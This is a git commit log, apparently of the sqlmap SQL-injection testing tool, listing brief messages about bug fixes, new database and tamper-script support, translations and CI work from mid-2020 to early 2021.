Bernardo Damele A. G c81414cf25 Update FUNDING.yml 2021-03-11 15:41:21 +00:00
Bernardo Damele A. G 2e195a35dc Create FUNDING.yml 2021-03-11 15:38:12 +00:00
Miroslav Stampar 89d25a16ce Trivial patches 2021-03-11 11:11:29 +01:00
Miroslav Stampar 9bc466edac Removing deprecated piece of code 2021-03-11 11:02:23 +01:00
Miroslav Stampar 32b7f3040e Trivial consistency update 2021-03-11 11:00:38 +01:00
Miroslav Stampar f066e215e5 Minor patch 2021-03-11 10:55:09 +01:00
Miroslav Stampar 4e65ff4689 Proper patch for #4591 2021-03-08 15:40:05 +01:00
Miroslav Stampar 1e8bf1c78a Trivial update for #4595 2021-03-07 21:22:17 +01:00
Miroslav Stampar 657c6519ea Graceful fail for --gui (#4601) 2021-03-07 21:15:59 +01:00
Miroslav Stampar 970c7f6a76 Fixes #4599 2021-03-07 20:35:51 +01:00
Miroslav Stampar 105e314ec8 Fixes #4596 2021-03-07 20:31:11 +01:00
Miroslav Stampar dd963a042d Fixes #4591 2021-03-04 08:26:23 +01:00
Miroslav Stampar 0df2592622 Trivial speedup 2021-03-03 23:28:27 +01:00
Miroslav Stampar eeacab0f19 Speedup of caching for char encoding (non-Unicode chars in page) 2021-03-03 23:08:00 +01:00
Miroslav Stampar b3e454d0b1 Trivial update 2021-02-25 12:19:08 +01:00
Miroslav Stampar 99d0031d65 Minor update 2021-02-25 11:39:08 +01:00
Miroslav Stampar 5916bc2d39 Minor update 2021-02-25 11:22:10 +01:00
Miroslav Stampar 2159944de4 Minor update 2021-02-23 12:00:59 +01:00
Miroslav Stampar f87aa83e9b Dirty implementation for #4571 2021-02-21 22:49:57 +01:00
Miroslav Stampar b902cca791 Minor update 2021-02-19 11:38:02 +01:00
Miroslav Stampar 86467e196b Periodical recloak 2021-02-19 11:08:14 +01:00
Miroslav Stampar 30f137699d Trivial bug patch 2021-02-19 11:07:13 +01:00
Miroslav Stampar 7741154383 Fixes #4580 2021-02-16 14:27:02 +01:00
Miroslav Stampar a6262a3aa9 Adding support for Virtuoso DBMS 2021-02-15 14:07:36 +01:00
Miroslav Stampar 1f33b16e01 Fixes #4579 2021-02-14 14:47:28 +01:00
Miroslav Stampar 04396c97e2 Minor refactoring 2021-02-11 13:00:54 +01:00
Miroslav Stampar b1cdbdae61 Minor update of tests 2021-02-11 12:30:21 +01:00
Miroslav Stampar 747951b80b Another patch for #4576 2021-02-10 14:09:13 +01:00
Miroslav Stampar 1bef2f8fda Fixes #4576 2021-02-10 14:02:42 +01:00
Miroslav Stampar b0ac442096 Minor patch of links 2021-02-08 22:42:08 +01:00
Miroslav Stampar 99a5fb243c Trivial update 2021-02-08 21:50:20 +01:00
Miroslav Stampar b2a575482e Proxies dislike non-browser user-agents 2021-02-08 21:47:36 +01:00
Miroslav Stampar 365e08b710 Allowing empty database names in -d 2021-02-08 20:47:37 +01:00
Miroslav Stampar af3b79ff8b Trivial update of doctests 2021-02-08 12:28:24 +01:00
hugoduar 3724a53466 Add spanish common names (#4573) 2021-02-08 11:30:39 +01:00
Miroslav Stampar 01e83cb4a0 Minor patch for ws 2021-02-08 11:18:27 +01:00
Miroslav Stampar cd77cdd1e8 It seems that JSON_GROUP_ARRAY is not available in all Travis CI deployments 2021-02-05 15:15:58 +01:00
Miroslav Stampar 22c421a427 Debugging the testing case 2021-02-05 14:46:23 +01:00
Miroslav Stampar 59fe89f076 Minor update of testing cases 2021-02-05 12:44:39 +01:00
Miroslav Stampar 160011bd87 Couple of bug fixes 2021-02-03 11:52:50 +01:00
Miroslav Stampar 36ee4d68c7 Trivial update 2021-02-01 22:19:20 +01:00
Miroslav Stampar dfc5bc5d87 Minor update of testing cases 2021-02-01 21:58:36 +01:00
Miroslav Stampar d247fda9d3 Fixing HTTP chunking for Python2.6 2021-02-01 21:34:26 +01:00
Miroslav Stampar 78b1c4f072 Trying to fix the mess with content_length between versions 2021-01-31 16:08:02 +01:00
Miroslav Stampar 63e44f9ee9 Trying to debug the Travis CI issue 2021-01-31 14:44:02 +01:00
Miroslav Stampar 08349138ec Bug fix (--chunked failing on TravisCI) 2021-01-31 14:00:44 +01:00
Miroslav Stampar 807d38688f Trivial update 2021-01-29 14:49:08 +01:00
Miroslav Stampar 0975fb1226 Minor update 2021-01-29 14:46:15 +01:00
Miroslav Stampar 71c141ef86 Minor patch 2021-01-29 14:38:13 +01:00
Miroslav Stampar accfbf958e Fixes #4560 2021-01-27 14:01:20 +01:00
Miroslav Stampar c0be1da8b1 Capture deprecations even in nightly Python builds 2021-01-21 10:14:24 +01:00
Miroslav Stampar 4a12493d85 Python3 fix (parsing of headers) 2021-01-20 16:29:52 +01:00
Miroslav Stampar b2c8ba10cd Minor just in case update 2021-01-20 16:06:19 +01:00
Miroslav Stampar 9568ee3c4d Fixes #4548 2021-01-19 12:32:32 +01:00
Miroslav Stampar f3e8039145 Fixes #4549 2021-01-19 12:25:03 +01:00
Miroslav Stampar e5086ef61a Fixes #4545 2021-01-18 12:29:35 +01:00
Miroslav Stampar ed0909fe57 Fixes #4547 2021-01-18 12:04:47 +01:00
Miroslav Stampar 6244850749 More DREI stuff 2021-01-15 10:51:49 +01:00
Miroslav Stampar d78590213b Brrrrr incompatibilities with every new Python minor revision 2021-01-15 09:31:57 +01:00
Miroslav Stampar 4490d55482 Removing leftover 2021-01-15 09:18:21 +01:00
Miroslav Stampar fd137b49ef Fixing Python3.10 incompatibility 2021-01-15 09:17:33 +01:00
Miroslav Stampar 6fa5922fbd Bug fix (error heuristics not working in heavy dynamicity cases) 2021-01-14 22:49:08 +01:00
Miroslav Stampar 42884d3f09 Problems with badge.fury.io 2021-01-13 17:32:57 +01:00
Miroslav Stampar 1a0c533626 Fixes #4541 2021-01-13 13:17:46 +01:00
Miroslav Stampar 5d3bd6ea7a Adding support for YugabyteDB 2021-01-13 11:47:10 +01:00
Miroslav Stampar 29a7646334 Trivial update 2021-01-12 16:55:24 +01:00
shelld3vandMiroslav Stampar fa93f5e099 New translation: Vietnamese (#4509)
* Create README-vi-VN.md

* Update README.md

* Consistency update (same style as in other translations)

Co-authored-by: Miroslav Stampar <[email protected]>
2021-01-12 16:34:17 +01:00
Miroslav Stampar 12238019dd Patch for Python2.6 2021-01-12 16:28:50 +01:00
Miroslav Stampar 0b1b64b682 Thank you Travis CI in discovering of a cluster of f*cks 2021-01-12 16:21:43 +01:00
Miroslav Stampar c8dc375fb5 Update for #4537 2021-01-12 15:58:40 +01:00
Miroslav Stampar a697e6c307 All of a sudden PY2 _configparser doesn't support \tkey = value 2021-01-12 15:57:12 +01:00
Miroslav Stampar 66a3118f81 Adding support for JSON aggregation on SQLite 2021-01-12 15:36:02 +01:00
Miroslav Stampar 3002f92e34 Trivial update 2021-01-12 13:23:08 +01:00
Miroslav Stampar 2ef07c80db Some more refactoring 2021-01-12 13:21:51 +01:00
Miroslav Stampar e3028f195e Support for Raima Database Manager DBMS 2021-01-11 17:36:23 +01:00
Miroslav Stampar 1f39dbd06d Another patch regarding #4530 2021-01-07 14:20:03 +01:00
Miroslav Stampar ccf9e7de54 Another patch regarding #4530 2021-01-07 14:00:10 +01:00
Miroslav Stampar ebd2a940cb Patching profile capabilities 2021-01-07 13:52:38 +01:00
Miroslav Stampar 0d3889730d Another patch for #4530 2021-01-07 11:56:49 +01:00
Miroslav Stampar ccbc3e62f8 First patch for #4530 2021-01-07 11:44:00 +01:00
Miroslav Stampar f84ec1072b Patch related to #4527 (drei) 2021-01-06 16:09:40 +01:00
Miroslav Stampar 779b352f6b Minor cosmetics 2021-01-06 15:47:50 +01:00
Miroslav Stampar 9af2e68b7e Update for #4525 2021-01-06 15:39:51 +01:00
Miroslav Stampar bd59dd4a0f Trivial update 2021-01-06 15:21:33 +01:00
Miroslav Stampar c4e6c3e854 Fixes #4513 2021-01-05 14:50:54 +01:00
Miroslav Stampar 91045aab60 Fixes #4510 2021-01-05 13:36:04 +01:00
Miroslav Stampar b36d8248a4 More fine-tuning for #4505 (in case of --no-escape) 2021-01-04 13:51:51 +01:00
Miroslav Stampar 091678b9d4 Some fine tuning (#4505 - in case of --no-escape) 2021-01-04 13:45:38 +01:00
Miroslav Stampar 0c3d8c9bd1 Fixes #4505 2021-01-04 13:25:29 +01:00
Miroslav Stampar f5b6b0eb4b Fixes #4504 2021-01-03 16:56:35 +01:00
Miroslav Stampar e8048a3cf0 First 2021 dev commit 2021-01-03 15:28:40 +01:00
Miroslav Stampar 0207ecf0ee Version bump (1.5) 2021-01-03 15:23:40 +01:00
Miroslav Stampar ae6a812ee1 Trivial updates 2020-12-31 12:38:57 +01:00
Miroslav Stampar f23c04131c Patch of a patch 2020-12-31 12:17:08 +01:00
Miroslav Stampar ab0df2a85c Fixes #4503 2020-12-31 12:09:15 +01:00
Miroslav Stampar 2cf2dd9a2c Fixes #4502 2020-12-31 12:00:13 +01:00
Miroslav Stampar 82e28e038e Another year bump 2020-12-31 11:49:19 +01:00
Miroslav Stampar 31fe3453a2 Copyright year bump 2020-12-31 11:46:27 +01:00
Miroslav Stampar 32deef59c3 Fixes #4499 2020-12-28 19:09:31 +01:00
Miroslav Stampar 8142dd8f3b Minor update 2020-12-28 15:39:01 +01:00
Miroslav Stampar 1b2ac3069d Implementing --proxy-freq (Issue #4496) 2020-12-26 23:04:48 +01:00
Miroslav Stampar bb02eefb70 Fixes #4495 2020-12-26 00:49:42 +01:00
Miroslav Stampar 8c8aae9170 Fixes #4492 2020-12-25 23:24:59 +01:00
Miroslav Stampar 99e6d56f09 Fixes #4494 2020-12-25 22:55:19 +01:00
Miroslav Stampar 41e247be56 Another trivial update 2020-12-22 21:40:15 +01:00
Miroslav Stampar 81602c4093 Another minor update 2020-12-22 21:35:02 +01:00
Miroslav Stampar 31c597f9e6 Minor update 2020-12-22 21:30:12 +01:00
Miroslav Stampar b039c35f2b Fixes #4479 2020-12-18 12:38:15 +01:00
Miroslav Stampar bae7766e64 Support patch for #4486 2020-12-18 12:13:07 +01:00
Miroslav Stampar 9c95445723 Trivial update (drei nagging) 2020-12-18 12:01:49 +01:00
Miroslav Stampar eeffcfe1b6 Periodic recloaking (AV) 2020-12-18 11:57:13 +01:00
Miroslav Stampar 809538d1bb Trivial update 2020-12-18 11:38:54 +01:00
Miroslav Stampar 5f743ab19b Fixes #4480 2020-12-17 13:50:33 +01:00
Miroslav Stampar 85c6d0d5c1 Fixes #4483 2020-12-17 13:34:23 +01:00
Miroslav Stampar d9e6e678e8 Fixes #4470 2020-12-10 23:05:19 +01:00
Miroslav Stampar 7e675fed9f Fixes #4471 2020-12-10 22:47:29 +01:00
Miroslav Stampar 5bf52c3f9c Trivial patches 2020-12-10 14:22:44 +01:00
Miroslav Stampar 94709c93bb Minor update 2020-12-10 13:56:25 +01:00
Miroslav Stampar a852d25314 Trying smth 2020-12-10 11:27:37 +01:00
Miroslav Stampar c0aa8565a1 Update of banner regexes 2020-12-08 14:41:19 +01:00
Miroslav Stampar bce1cfe00f Minor update 2020-12-08 13:40:46 +01:00
Miroslav Stampar 0cd6285707 Long live the Python2 2020-12-07 21:30:18 +01:00
Miroslav Stampar 8a783702d9 Fixes #4464 2020-12-07 12:28:49 +01:00
Miroslav Stampar 760563dbd1 Patch for #4451 2020-12-07 12:00:10 +01:00
Miroslav Stampar 92054b5d63 Fixes #4465,#4466,#4468,#4469 2020-12-07 11:42:46 +01:00
Miroslav Stampar 2f3801b808 Minor leftover 2020-12-07 11:23:11 +01:00
Miroslav Stampar d5c9bdf279 Patch for #4467 2020-12-07 11:22:34 +01:00
Miroslav Stampar 12158af6ca Fixes #4457 2020-12-04 12:28:13 +01:00
tomjshore 8e662a5179 Changed get logs to hanndle ints correctly (#4460) 2020-12-04 11:47:09 +01:00
Miroslav Stampar 8d9c84236d Fixes #4458 2020-12-04 11:45:40 +01:00
Miroslav Stampar 815d417a9e Fixes #4462 2020-12-04 11:40:09 +01:00
Miroslav Stampar 3936a11280 Fixes #4450 2020-12-02 22:30:01 +01:00
Miroslav Stampar 13e363155a Fixes #4453 2020-12-02 21:43:11 +01:00
Miroslav Stampar be0f7a9e07 Update of --beep (including XSS/FI) 2020-12-01 23:10:53 +01:00
Miroslav Stampar 33a8db9596 Minor patch 2020-12-01 22:56:24 +01:00
Miroslav Stampar 9f6eacb4e8 Fixes #4444 2020-12-01 16:36:34 +01:00
Miroslav Stampar e6d9dc46ab Patch for #4449 2020-12-01 15:56:47 +01:00
Miroslav Stampar c3e81a6223 Switching EXTRACTVALUE and FLOOR in priority (FLOOR is not working on recent MySQL) 2020-12-01 15:34:49 +01:00
Miroslav Stampar 78ba33737e Patch for known NCHAR/UNION-query SQLi problems 2020-12-01 12:16:15 +01:00
Miroslav Stampar c6557e2b45 Minor patches 2020-11-30 23:33:08 +01:00
Miroslav Stampar fa17cfb606 Fixes #4447 2020-11-30 22:25:56 +01:00
Miroslav Stampar 40623e780a Minor patch (--update to work with #pip) 2020-11-27 12:57:16 +01:00
Miroslav Stampar 35862bf4c8 Minor patch 2020-11-27 12:37:56 +01:00
Miroslav Stampar 5d6def425a Trivial cleanup 2020-11-27 12:32:05 +01:00
Miroslav Stampar 7066e7ce97 Trivial update 2020-11-26 23:41:35 +01:00
Miroslav Stampar 8dad7dd12d Trivial update 2020-11-24 14:07:30 +01:00
Miroslav Stampar 6b7c3a2f81 Minor cosmetics 2020-11-20 13:03:15 +01:00
Miroslav Stampar e9b3af6b9a Minor compatibility patch for 'Copy as cURL' browser feature 2020-11-20 12:52:02 +01:00
Miroslav Stampar 194c911433 Another update for #4367 2020-11-16 11:59:17 +01:00
Miroslav Stampar e621d7ec6a Fixes #4423 2020-11-16 10:28:53 +01:00
Miroslav Stampar 854507bc85 Potential fix for #4307 2020-11-13 23:00:26 +01:00
Miroslav Stampar 82eec780a2 Update README.md 2020-11-10 22:36:02 +01:00
Miroslav Stampar de55be3afe Update README.md 2020-11-10 22:10:03 +01:00
Miroslav Stampar 4d2b890a0a Silent bug fix 2020-11-09 23:02:48 +01:00
Miroslav Stampar c243c5fe0d Implementing --skip-heuristics (#4414) 2020-11-09 22:11:11 +01:00
Miroslav Stampar a35fc713a2 Minor patch (AS keyword does not play well in nullCastConcatFields) 2020-11-05 11:20:51 +01:00
Miroslav Stampar 97b7dc585c Patch for #4419 2020-11-05 10:59:36 +01:00
Miroslav Stampar c5a5717add Minor adjustment 2020-11-05 10:12:54 +01:00
Miroslav Stampar fe4e79511a Fixes #4413 2020-11-02 11:15:45 +01:00
Miroslav Stampar 1d5bde9cdf Implementing --live-cookies (Issue #4401) 2020-10-29 13:51:11 +01:00
Miroslav Stampar 227a23f091 Fixes #4408 2020-10-29 12:33:12 +01:00
Miroslav Stampar 0ff3b1ce70 Implemented FOR JSON AUTO in MsSQL 2020-10-28 16:48:11 +01:00
Miroslav Stampar 7e483ffd7a Adding minor note 2020-10-28 14:38:13 +01:00
Miroslav Stampar a5852390f7 Implements ARRAY_AGG for PostgreSQL 2020-10-28 14:36:25 +01:00
Miroslav Stampar 73d0c67a80 Implements #4407 2020-10-28 12:57:25 +01:00
Miroslav Stampar 8e9f7e90c3 Fixes #4404 2020-10-27 15:12:42 +01:00
Miroslav Stampar f6bf331b8f Minor cosmetics 2020-10-27 14:57:12 +01:00
Miroslav Stampar 585645e806 Implements #4403 2020-10-27 14:06:56 +01:00
Miroslav Stampar 673a5afe07 Fixes #4400 2020-10-26 11:21:29 +01:00
Miroslav Stampar c9a8b915c8 Fixes #4398 2020-10-25 17:34:06 +01:00
Miroslav Stampar 9645aaa33f Fixes #4399 2020-10-25 17:11:22 +01:00
Miroslav Stampar e556876fe6 Fixes #4394 2020-10-21 14:58:30 +02:00
Miroslav Stampar 0524670cf9 More generic update for #4199 2020-10-21 14:44:07 +02:00
Miroslav Stampar 96a2c91701 Patch regarding #4199 2020-10-21 14:40:11 +02:00
Miroslav Stampar 5029d67e4f Minor update regarding the #4388 2020-10-20 12:54:22 +02:00
Miroslav Stampar 5af64f5ae4 Minor update 2020-10-20 12:37:07 +02:00
Miroslav Stampar bc981c517b New vuln-test case 2020-10-15 17:20:32 +02:00
Miroslav Stampar 87ad11dffb Fixes #4383 and #4384 2020-10-15 12:11:21 +02:00
Miroslav Stampar 3663fa936b Fixes #4382 2020-10-14 23:04:01 +02:00
Miroslav Stampar 4687383a44 Patch for multiple-Ctrl-C in multiple-target mode 2020-10-14 12:22:56 +02:00
Miroslav Stampar 62cfd47b83 Minor patch 2020-10-14 11:49:58 +02:00
Miroslav Stampar 2bf22df53a Implementing support for piped input of targets 2020-10-14 11:34:52 +02:00
Miroslav Stampar 0585a55ee0 Trivial refactoring for #4379 2020-10-13 11:05:13 +02:00
tree-chtsecandtree babe52eb10 HSQLDB write file support (#4379)
* Make asterisk work with --csrf-token option

* add --file-write support in HSQLDB

Co-authored-by: tree <[email protected]>
2020-10-13 10:56:39 +02:00
Miroslav Stampar 231c3da057 Update for #4380 2020-10-13 10:32:09 +02:00
Miroslav Stampar 13a2ab3fa3 Minor update (drei) 2020-10-05 21:36:30 +02:00
Miroslav Stampar 21cc6e3c99 Potential patch for #4367 2020-10-05 12:45:15 +02:00
Miroslav Stampar a2a73b88ea Fixes #4366 2020-10-05 12:12:06 +02:00
Miroslav Stampar 210a4c3a0a Fixes #4363 2020-10-05 11:35:49 +02:00
Miroslav Stampar 15225668d0 Somebody was fooling around (Issue #4357) 2020-09-28 13:12:59 +02:00
Miroslav Stampar c1bf36b876 Better alternative 2020-09-24 14:57:45 +02:00
Miroslav Stampar 229f89004b Fixes #4355 2020-09-24 14:55:13 +02:00
Miroslav Stampar 443b1f2ed5 ORDER BY required 2020-09-24 14:54:59 +02:00
Miroslav Stampar 60f4520020 Minor update for #4353 2020-09-23 15:29:28 +02:00
Miroslav Stampar 7460b87f1d Update for #4353 2020-09-23 15:22:07 +02:00
Miroslav Stampar 5d08b9004e Minor update 2020-09-21 17:11:11 +02:00
Miroslav Stampar c2b9e539ae Update for #4351 2020-09-21 17:04:54 +02:00
HerendraTJ 3d8eb62a59 Issue Tracker --> Pelacak Masalah. (#4347) 2020-09-18 11:58:29 +02:00
Miroslav Stampar d51e45fd34 Minor update for #4344 2020-09-17 15:26:06 +02:00
Miroslav Stampar 3258e29cf9 Update for #4344 2020-09-17 15:22:50 +02:00
antichownandMiroslav Stampar e0ea1ab5e9 new tamper script (#4344)
* new tamper script

works with time-based queries

* Update sleepgetlock.py

Co-authored-by: Miroslav Stampar <[email protected]>
2020-09-17 15:06:47 +02:00
Miroslav Stampar 192ca02c41 Minor update (more intuitive) 2020-09-16 14:28:32 +02:00
Miroslav Stampar f0bbbb0918 Fixes #4341 2020-09-11 16:28:10 +02:00
Miroslav Stampar f6857d4ee4 Bug fix (304 not modified as original response) 2020-09-11 14:32:25 +02:00
Miroslav Stampar a1342e04a5 Minor update 2020-09-10 16:34:01 +02:00
Miroslav Stampar 7963281c41 Minor update 2020-09-10 16:20:12 +02:00
Miroslav Stampar 715063f0d4 Patching session PY2<->PY3 incompatibility issue 2020-09-09 16:15:23 +02:00
Miroslav Stampar 1658331810 Trivial update 2020-09-09 14:07:13 +02:00
Miroslav Stampar bfe93e20c5 Patch for #4337 2020-09-09 13:58:26 +02:00
Miroslav Stampar bcea050f22 Fixes #4331 2020-09-06 23:32:47 +02:00
Miroslav Stampar c4a692abe3 Patch for #4332 2020-09-06 23:21:12 +02:00
Miroslav Stampar b42b62ae38 Major improvement in Base64 handling (late-binding) 2020-09-04 13:16:50 +02:00
Miroslav Stampar a7f20c1d67 Minor update (base64 stuff) 2020-09-04 12:45:33 +02:00
Miroslav Stampar f781367ac1 Fixes #4328 2020-09-04 10:49:17 +02:00
mkauschiandmanuel 1bec3a953c fix #4325 (#4327)
Co-authored-by: manuel <[email protected]>
2020-09-02 17:07:28 +02:00
Miroslav Stampar 66e07dfab6 Fixes #4322 2020-09-01 15:35:14 +02:00
Miroslav Stampar 226d467f6d Fixes #4321 2020-08-31 22:06:22 +02:00
Miroslav Stampar ea5ae44b6c Minor improvement 2020-08-31 11:55:14 +02:00
Miroslav Stampar 95b9a47c6f Adding support for easier 'decloaking' (AV something something) 2020-08-31 11:34:12 +02:00
Miroslav Stampar e05f65628d Minor update 2020-08-31 11:18:29 +02:00
Miroslav Stampar 609545176f Minor refactoring 2020-08-28 14:46:59 +02:00
Miroslav Stampar 8de4820b24 Minor update 2020-08-28 14:24:43 +02:00
Miroslav Stampar df5fabbbbb Adding couple of doctests 2020-08-24 11:10:13 +02:00
Miroslav Stampar 0c48d0dbec Minor update on request 2020-08-23 22:11:24 +02:00
Miroslav Stampar 5108c2d06c Minor update regarding #4312 2020-08-23 21:16:56 +02:00
Miroslav Stampar 603d602550 Fixes #4313 2020-08-23 20:59:10 +02:00
Miroslav Stampar 907786edb8 Patch for #4314 2020-08-23 20:56:22 +02:00
Miroslav Stampar 85b73f872e Minor patch 2020-08-20 13:54:52 +02:00
Miroslav Stampar a42ec7d9cb Trivial refactoring 2020-08-13 16:22:09 +02:00
tree-chtsec b3f4c6d0fc Make asterisk work with --csrf-token option (#4305) 2020-08-13 16:18:31 +02:00
Miroslav Stampar cec65f3a27 Adding new tamper script 2020-08-12 09:50:04 +02:00
Miroslav Stampar cc79ae69aa Fixes #4303 2020-08-11 15:09:23 +02:00
Miroslav Stampar 5a9dc15cf2 Introduction of --base64-safe 2020-08-10 22:26:03 +02:00
Miroslav Stampar f1fd080ba5 Minor improvement 2020-08-10 21:54:58 +02:00
Miroslav Stampar cfe9fb4f5b Fixes #4301 2020-08-10 21:27:38 +02:00
Miroslav Stampar 7a55c9c145 Trivial update 2020-08-10 21:26:37 +02:00
Miroslav Stampar 4077a359f4 Fixes #4294 2020-08-05 22:43:32 +02:00
Miroslav Stampar 435fd49f1d Trivial update 2020-08-04 10:34:18 +02:00
Miroslav Stampar bcfd9c3f48 Trivial update 2020-08-04 10:27:52 +02:00
Miroslav Stampar 39c320c29b Fixes #4292 2020-08-03 23:23:14 +02:00
Miroslav Stampar b719b9612f Adding new tamper script 2020-07-29 13:40:23 +02:00
Miroslav Stampar 84bc2640d1 Minor adjustment on private request 2020-07-28 12:55:57 +02:00
Miroslav Stampar fced29a242 Fixes #4285 2020-07-28 11:30:47 +02:00
Miroslav Stampar 2e5e958d3f Fixes #4287 2020-07-28 11:22:05 +02:00
Miroslav Stampar 1e30471d3d Minor update 2020-07-28 11:10:15 +02:00
Miroslav Stampar 10b93d753d Adding new tamper script 2020-07-27 14:01:12 +02:00
Miroslav Stampar 1280abc25c Adding some tamper scripts 2020-07-27 13:49:48 +02:00
Miroslav Stampar c47061f25d Update regarding #4281 2020-07-26 20:16:58 +02:00
HerendraTJ 9b871f1093 Spacing (#4279)
Add spacing Basisdata --> Basis data because two words is 100% different in Indonesia language.
2020-07-26 20:06:59 +02:00
Miroslav Stampar 0ba07e93d5 Fixes #4284 2020-07-26 19:34:30 +02:00
Miroslav Stampar ce50acf69d Minor update 2020-07-22 11:25:06 +02:00
Miroslav Stampar 9f0ff27c26 Fixes #4277 2020-07-22 09:57:13 +02:00
Miroslav Stampar ecafac5cd2 Minor cleanup 2020-07-21 22:05:02 +02:00
Miroslav Stampar f39869992c Fixes #4275 2020-07-20 12:43:17 +02:00
Miroslav Stampar e910fc6b8b Some more things regarding #4269 2020-07-16 16:10:13 +02:00
Gustavo 6375f9e506 Fixing an error (#4267)
There was a newline breaking the link:

"[aqui]
(https://github.com/sqlmapproject/sqlmap/tarball/master)"
2020-07-16 14:45:17 +02:00
Miroslav Stampar 8e649dc3f7 Minor patch 2020-07-16 14:42:51 +02:00
Miroslav Stampar a6ce91a3e2 Fixes #4269 2020-07-16 14:30:50 +02:00
Miroslav Stampar 408862b040 Update regarding #4268 2020-07-16 14:22:32 +02:00
Miroslav Stampar fc4dec7291 Fixes #4260 2020-07-15 15:29:35 +02:00
Miroslav Stampar 274a6e62da Patch for #4261 2020-07-15 14:53:35 +02:00
Miroslav Stampar aa7c548376 Fixes #4263 2020-07-15 14:49:16 +02:00
Miroslav Stampar 6b7a1dfd94 Adding new payload (credits: blackfan.ru) 2020-07-10 14:33:45 +02:00
Miroslav Stampar 67f918f6ad Minor update 2020-07-07 11:31:07 +02:00
Miroslav Stampar a65e1faf99 Patch for #4258 2020-07-07 10:41:23 +02:00
Miroslav Stampar ff48e1d820 Minor update (phpass) 2020-07-01 13:04:44 +02:00
Miroslav Stampar 0094f02fb0 Adding support for generic phpass (Wordpress, Drupal, PHPBB3, etc.) (Issue #4252) 2020-07-01 12:46:26 +02:00
Miroslav Stampar 459130196a Minor patch 2020-07-01 11:56:24 +02:00
Miroslav Stampar 0a8a65bc0b Update regarding #4248 2020-06-29 20:29:46 +02:00
Miroslav Stampar 5d370f2fa1 Update regarding the #4243 2020-06-26 11:45:05 +02:00
Miroslav Stampar 1296336e18 Minor cleanup 2020-06-25 15:13:35 +02:00
Miroslav Stampar 75b3736467 Re-implementation for #4243 2020-06-25 15:07:19 +02:00
Miroslav Stampar 282eb7e533 Minor update related to the #4244 2020-06-25 13:48:50 +02:00
Miroslav Stampar f28d82c119 Minor patch related to the #4239 2020-06-25 13:02:56 +02:00
Miroslav Stampar 74603c5530 Fixes #4239 2020-06-25 12:55:10 +02:00
Miroslav Stampar 050700f079 Fixes #4237 2020-06-24 12:05:40 +02:00
Miroslav Stampar 31bf1fc6b6 Update regarding #4239 2020-06-24 11:41:51 +02:00
Miroslav Stampar d4d83b29f0 Drei patch (Issue #4235) 2020-06-17 21:58:10 +02:00
Miroslav Stampar 596fff48ad Fixes #4235 2020-06-17 20:56:50 +02:00
Miroslav Stampar 56ff081314 Up the ante 2020-06-17 20:05:12 +02:00
Miroslav Stampar 69421b4806 Fixes #4231 2020-06-14 22:12:00 +02:00
Miroslav Stampar 3910b86853 Potential patch for #4232 2020-06-14 22:01:49 +02:00
Miroslav Stampar bbdedb39f9 Fixes #4233 2020-06-14 21:23:55 +02:00
Miroslav Stampar d0be782ece Update for #4212 2020-06-10 12:53:22 +02:00
Miroslav Stampar 16c8673e98 Implementation on request (--csrf-retries) 2020-06-10 12:49:35 +02:00
Miroslav Stampar 1dedc36d85 Implementation for #4212 2020-06-10 12:19:52 +02:00
Miroslav Stampar c1d46c95ed Minor correction 2020-06-10 11:53:58 +02:00
Miroslav Stampar d5fc2c9350 Patch for #4227 2020-06-05 17:37:36 +02:00
Miroslav Stampar c28ad8fcd8 Adding boundary for #4221 2020-06-05 17:32:41 +02:00
Miroslav Stampar 2d06543cac Fixes #4220 2020-06-01 03:29:53 +02:00
Miroslav Stampar 6a1e0fb497 Travis CI patch (no more --check-internet) 2020-05-27 18:39:48 +02:00
Miroslav Stampar 5c650e15a9 Still debugging Travis CI issue 2020-05-27 18:30:13 +02:00
Miroslav Stampar c97a814d26 Trying to deal with Travis CI problem 2020-05-27 17:57:38 +02:00
Miroslav Stampar a58d08c7e4 Removing deprecated option 2020-05-27 16:50:16 +02:00
Miroslav Stampar 9c503873ad Minor patch (TravisCI related) 2020-05-27 15:44:44 +02:00
Miroslav Stampar 03dfd6b4d5 Fixes #4214 2020-05-27 15:39:03 +02:00
Miroslav Stampar d5a2ffc8ce Patch for Issue #4211 2020-05-21 22:32:16 +02:00
Miroslav Stampar ddf8b1b198 Fixes #4208 2020-05-20 16:12:19 +02:00
Karim Kanso 9a36357c52 SQLite table dumping compatibility improvements. (#4205)
* Fix sqlite regex for create table to support implicit column types

* Fix sqlite when dumping large tables
2020-05-20 15:35:20 +02:00
Miroslav Stampar 667e4d00f2 Fixes #4204 2020-05-20 15:20:44 +02:00
Miroslav Stampar 788dcbf077 Update of THANKS file 2020-05-20 15:04:31 +02:00
Miroslav Stampar a851dc486a Couple of trivialities 2020-05-15 12:58:03 +02:00
Miroslav Stampar 9077734ec5 Minor update related to last couple of commits 2020-05-14 19:20:16 +02:00
Miroslav Stampar 7b49c46906 Commit as a thank you for the donation 2020-05-14 17:48:07 +02:00
Miroslav Stampar 317bc0f69c Trivial text update 2020-05-14 17:17:34 +02:00
Miroslav Stampar c7bdf27542 Tribute to all the FUBAR h4x0rs around the world (#4183) 2020-05-14 17:15:33 +02:00
Miroslav Stampar b334b6b742 Patch for #4199 2020-05-13 14:18:19 +02:00
Miroslav Stampar aa812effe7 Fixes #4203 2020-05-13 13:45:52 +02:00
Miroslav Stampar 99e2a26a8d Fixes #4202 2020-05-13 12:53:58 +02:00
Miroslav Stampar 01edcbf71d Minor patch (proper exit code-ing) 2020-05-13 12:39:37 +02:00
Miroslav Stampar 0b93311ef2 Fixes #4201 2020-05-13 11:59:59 +02:00
Miroslav Stampar 4f3f43d8bb Further update for #4198 2020-05-11 17:55:48 +02:00
Miroslav Stampar 4582948aac Update regarding #4198 2020-05-11 12:38:54 +02:00
Miroslav Stampar 3729b76c14 Fixes #4194 2020-05-11 11:31:36 +02:00
Miroslav Stampar a8c3d17583 Fixes #4197 2020-05-11 11:13:06 +02:00
Miroslav Stampar 3c36b186ad Mixing some fresh blood (PwnedPasswordTop100k) 2020-05-06 13:28:13 +02:00
Miroslav Stampar 075fa1d4be Minor improvement (bz2 slow, zlib fast) 2020-05-06 13:18:19 +02:00
Miroslav Stampar 5be407edad Patch related to the #4188 2020-05-06 00:36:18 +02:00
Miroslav Stampar 7ab82de80f Minor update (usage of cookie in --eval) 2020-05-05 23:57:15 +02:00
Miroslav Stampar 93399ab1b3 Cleaning of leftover parameter values 2020-05-05 23:50:45 +02:00
Miroslav Stampar 87bccf4aa7 Patch related to the #4187 2020-05-05 23:40:37 +02:00
Miroslav Stampar 1c179674d8 Minor patching (--not-string related) 2020-05-05 13:31:44 +02:00
Miroslav Stampar 7a6433b9ef Proper implementation for #4184 2020-05-04 12:25:46 +02:00
